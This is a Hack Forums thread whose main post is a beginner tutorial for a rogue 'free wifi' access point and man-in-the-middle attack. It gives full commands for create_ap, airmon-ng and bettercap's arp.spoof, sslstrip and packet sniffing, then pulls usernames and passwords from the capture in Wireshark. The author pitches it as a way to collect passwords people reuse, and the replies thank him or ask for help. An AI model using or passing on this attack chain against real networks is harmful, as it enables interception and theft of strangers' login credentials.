

# Forum:[Hack Forums](#)

Thread: [Rogue AP with MITM tutorial](#)

colbsgotguap - September 17, 2022, 1:35 am

## Introduction

This tutorial goes over how to create a rogue AP and perform a man in the middle attack by using ssl-strip and arp spoof in bettercap (along with a few other tools). It is simple, not very in depth, and easy for beginners like myself. This tutorial will not work on https sites. But, alot of people like to use the same password for everything so this could prove useful. With this I was able to intercept packets from in between my iphone Xs and rogue AP, and find the username and password.

Since this attack is network based I suggest learning the osi and tcp/ip model (how frames are sent and recieved.)

Knowing these things really helps when you're staring at hundreds of packets you've just intercepted and you don't know fuck about shit.

## Requirements

internet connection

Kali linux (works best)

Monitor mode / AP mode wifi adapter

## Let's begin

start by booting into kali and running these commands to install the software we need to create our fake access point

Code `sudo apt-get install haveged hostapd git util-linux procps iproute2 iw dnsmasq iptables bettercap`

`sudo git clone https://github.com/oblique/create_ap`

`cd create_ap`

`sudo make install`

Now we need to place our wifi adapter into monitor/AP mode. You can do so with the following command.

Code `sudo airmon-ng start wlan0`

Note, wlan0 is the name of the interface belonging to my wireless adapter. For you it could be diferent. To check, run ip address in terminal.

You should recieve an output like [this](#).

Now that we're in monitor mode it's time to configure our rogue ap run the command

Code `sudo create_ap wlan0mon eth0 free wifi`

wlan0mon is my monitor mode enabled wifi adapter, eth0 is my host machine which connects my virtual machine to the wifi with NAT, free wifi is the name I chose for my fake access point.

If you've followed the steps correctly you should see something like [this](#) saying AP Enabled

Do not close the terminal! Whenever somebody joins the fake access point their MAC address will be displayed, we will need this for later. They are now connected to your fake AP which is basically a hot spot boosting wi-fi from your host machine.

## Bettercap

When using bettercap there is a way to creat .pcap files, these files automate the process so that you don't have to configure bettercap each time you want to run this method on someone. We will

not be covering this in this tutorial.

Open a command prompt and run ip address, you should now see a new network interface (probably at0). This is the network interface that your fake AP is running on

We will now start bettercap while using the rogue AP interface. Run this command

Code `sudo bettercap -iface (name of your new interface)`

We have now launched bettercap's interactive shell. To see the list of available modules in bettercap type help

We will be using the modules; net.probe, arp.spoof, https.proxy, and net.sniff

First we must find our target ip (the victim who just connected to our fake access point) run this

Code `net.probe on`

You should get an output looking something like [this](#)

Look for the device with the same MAC address as the device connected to your fake AP. Do you have it? Nice! Now you should see the victims ip address right next to the MAC address.

Next we have to start configuring the modules we will be using in our attack, to see the help menu for a module, type help (followed by the modules name).

First we need to configure arp.spoof If we take a look at arp.spoof help menu there is multiple parameters. We only need arp.spoof.targets to set the target to our victim machine.

Run this command

Code `set arp.spoof.targets (Ip address of your victim machine)`

Now we need to start arp.spoof so run this command.

Code `arp.spoof on`

We are now tricking the victim into thinking we're the router by spoofing our Ip address. You should see the following [output](#).

Now we will configure https.proxy to run sslstrip so run this command

Code `set https.proxy.sslstrip true`

Next we will configure net.sniff to output our captured packets into a .pcap file that we can analyze with wire shark. Run this command.

Code `set net.sniff.verbose true`

Now we will create the pcap file that we will be sending all our captured packets to to analyze in wireshark. Open a terminal and navigate to Desktop, now run this command.

Code `touch packets.pcap`

Now we will make sure that bettercap knows where to find the pcap file to output the data to, navigate back to your terminal running the bettercap interactive session and run this command.

Code set net.sniff.output /home/(your username here)/Desktop/packets.pcap

Finally we've configured everything.. Start sniffing by running

Code net.sniff on

If the victim is active on there machine you will now get bombarded with packets. For testing purposes you can hop on your victim machine, navigate to a http website like [this](#) one, and enter a dummy username and password

When you feel you are ready to analyze the packets stop the attack with ctrl+c

## Analyzing With Wireshark

Navigate to desktop and double click the pcap file. You should see something like [this](#)

To find the login credentials we need to filter the packets to only show us http. Click the search bar and type http, you should see something similar to [this](#)

Now right click on the packet that sais user info.php (for you it may be different depending on what http site you used) select follow, and then select tcp stream. You should now see the user id and password as seen [here](#)

Uname=Hackforums Pass=Tutorial

You have now successfully completed a MITM attack using a rogue AP! Now you should spend some time learning how to automate the process with pcap files. I hope this tutorial was easy to read and you got something out of it. Let me know if you're having any trouble or have something to add that I could've explained better ?

**Mcminty** - May 29, 2023, 6:04 pm

When you're referencing "Network interface names" what exactly do you mean? I'm on Win10 btw. Is it something in Linux I need to find? I got it working once but I can't remember what I did

**borealfoil409** - June 7, 2023, 9:37 am

Looks like gold thank you so much I never see Man in the Middle tutorials or Rogue AP, learned about it in Security+.